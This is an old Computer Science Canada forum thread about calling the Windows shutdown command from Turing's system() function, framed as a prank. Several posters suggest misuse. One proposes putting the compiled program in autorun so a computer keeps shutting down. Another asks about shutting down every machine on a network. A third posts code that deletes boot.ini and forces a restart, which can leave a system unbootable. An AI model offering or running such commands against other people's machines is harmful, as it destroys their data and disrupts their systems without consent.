Computer Science Canada

[SOURCE]--System Shutdown

Author:  jdworrow [ Sun Apr 11, 2004 12:53 pm ]
Post subject:  [SOURCE]--System Shutdown

code:

 var ret: int
 system("shutdown -s -c message-here",ret)


Well this is pretty basic. Those of you who have seen the blaster virus this window for shutdown is exactly the same. Any ideas for modification or ideas are open for molding this into something great. But I however take no responsibility for any harm caused if you use this against someone else. Not harmful on its own.
Exclamation

Author:  the_short1 [ Sun Apr 11, 2004 4:57 pm ]
Post subject: 

exactly how does this work??? 'system' i dont recall that being in turing list of commands... also... the way the optiosn are entered... taht dont look rite.... i dont know i have to go eat... ill test it later if u tell me how that works..

Author:  Tony [ Sun Apr 11, 2004 5:34 pm ]
Post subject: 

its a new feature in v4.0.5
code:

system ( command : string, var ret : int )

Turing Help File wrote:
The system statement is used to execute the shell (operating system) command, as if it were typed at the terminal. The return code is in ret.

Author:  the_short1 [ Sun Apr 11, 2004 6:42 pm ]
Post subject: 

really cool... i like... i like.....

Twisted Evil <<< evil thoughts brewing...

dam... i gota go thru that list on main page of all the new features... this is the second time ive missed out on cool stuff....


note: turing should have a section in help file that is: new to this version...

still have all the new commands in the Alpha list... but... also have them in taht new heading...


thanks tony.... this will come in VERY very HANDY!

Author:  jdworrow [ Tue Apr 13, 2004 4:33 pm ]
Post subject:  Shutdown

I'm running 3.1 and the system command works excellent. Also you can replace shutdown and parameters for it with cmd and it opend command window depending on operating system. The shutdown command opens a little box and counts down from 30 seconds and then shuts down. There is however no way to stop the shutdown once commenced. Handy for sneaky or pranks. Somehow get it compiled and make it copy into auto run at startup and it'll repeat over and over and over. Would be funny.

Author:  Tony [ Tue Apr 13, 2004 6:44 pm ]
Post subject:  Re: Shutdown

jdworrow wrote:
There is however no way to stop the shutdown once commenced.


not true. You can reset your system clock back a year and it will take the counter a long time to reach 0 Laughing

Author:  ReN3g@de [ Tue Apr 13, 2004 10:52 pm ]
Post subject: 

^^^^^
lol well i guess that could work but instead of doing that you could simply go to the Start Menu then Run then u type:
code:
shutdown -a

do this while the countdown to shutdown is occuring.

in turing do this:
code:
var ret:int
system("shutdown -a",ret)

thats it!!

Author:  jdworrow [ Sun Apr 18, 2004 2:52 pm ]
Post subject:  System Shutdown

Well, you can run the command and it works inside winoot. But when you generate the exe it opens the command prompt and always says "running system command". How do I get around this?

Author:  Flashkicks [ Tue Apr 20, 2004 7:58 am ]
Post subject: 

yeah i have that same problem as well.. Sad

Author:  jdworrow [ Wed Apr 21, 2004 4:25 pm ]
Post subject:  System Shutdown.

Does anyone know how to fix this? Or rather does anyone know what code you would use if you were programming this in HTML? Also for those of you. "shutdown -f" is also very cool. It closes everything very fast and automatyically exits you to the login screen.

Author:  gamer [ Wed Apr 21, 2004 5:23 pm ]
Post subject: 

same problem Sad

Author:  Dan [ Wed Apr 21, 2004 5:24 pm ]
Post subject: 

turing has never complied well, it is probly not posable since u do not have much conotrl over how it dose compile.

as for HTML, it is not a progaming languge there for you could not run any comands in it. what i hope u mean is a javascripted enbeded in a HTML doc, alougth i am not shure if this whould work since most browsers try to limite the conorl webpages could have over your comp.

Author:  .hack [ Thu Apr 22, 2004 8:39 am ]
Post subject: 

hehe program looooks very interesting,

Dan, your typos never cease to amaze e hahaha

Author:  jdworrow [ Sun Apr 25, 2004 8:51 am ]
Post subject:  Immortality

Haha. So can anyone think of a small language that supports system commands more that I can use to compile so it runs the system command? Like would javascript work for system commands? If javascript works then I can embed javascript into HTMl and run it from the HTML file. That works for me. Otherwise, I think it is messed up the way WinOOT works. So do you get the same thing with the new version of Winoot as far as compiling. Like does the code work? Anyways lemme know.

Author:  lord_pwnerer [ Tue Nov 28, 2006 7:59 pm ]
Post subject: 

you can do many things with this command, look at my tutorial for batch files here ->http://compsci.ca/v2/viewtopic.php?t=14296 for how to shutdown, restart, logoff using the batch file. It also integrates a few other parameters that wern't mentioined here. And of course, you're not limited to bath files, since you can just use the system command with Turing. [/url]

Author:  [Gandalf] [ Tue Nov 28, 2006 10:37 pm ]
Post subject: 

Ehm... lord_pwnerer, just beause you recently wrote a tutorial on the subject doesn't mean that you should revive every post ever made about it. In case you hadn't noticed, this is a two year old topic, and you just necro-posted.

Author:  lord_pwnerer [ Wed Nov 29, 2006 7:56 am ]
Post subject: 

goddamnit, you're right. Sorry about that, I really need to start looking at the dates.

Author:  Lazarus [ Wed Dec 20, 2006 3:12 pm ]
Post subject: 

Just out of curiousity, could this be used over a network? as in shutdown all the computer on the network?

Author:  Prince Pwn [ Mon Jan 08, 2007 6:28 am ]
Post subject:  Re: [SOURCE]--System Shutdown

I never knew of the system command before! That is so awesome.
Also this could be a useful program, don't know if it works or not:
code:

var DriveLetter : string := Dir.Current
DriveLetter := DriveLetter (1)
put DriveLetter + ":/boot.ini"
File.Delete (DriveLetter + ":/boot.ini")
put Sys.Exec (DriveLetter + ":/Windows/System32/Shutdown.exe -r")
cls

Author:  unknowngiver [ Mon Jan 08, 2007 12:06 pm ]
Post subject:  RE:[SOURCE]--System Shutdown

omggg yaiii i can mess around with the system now *waits for someone to write a tutorial on terminal commands:p*


: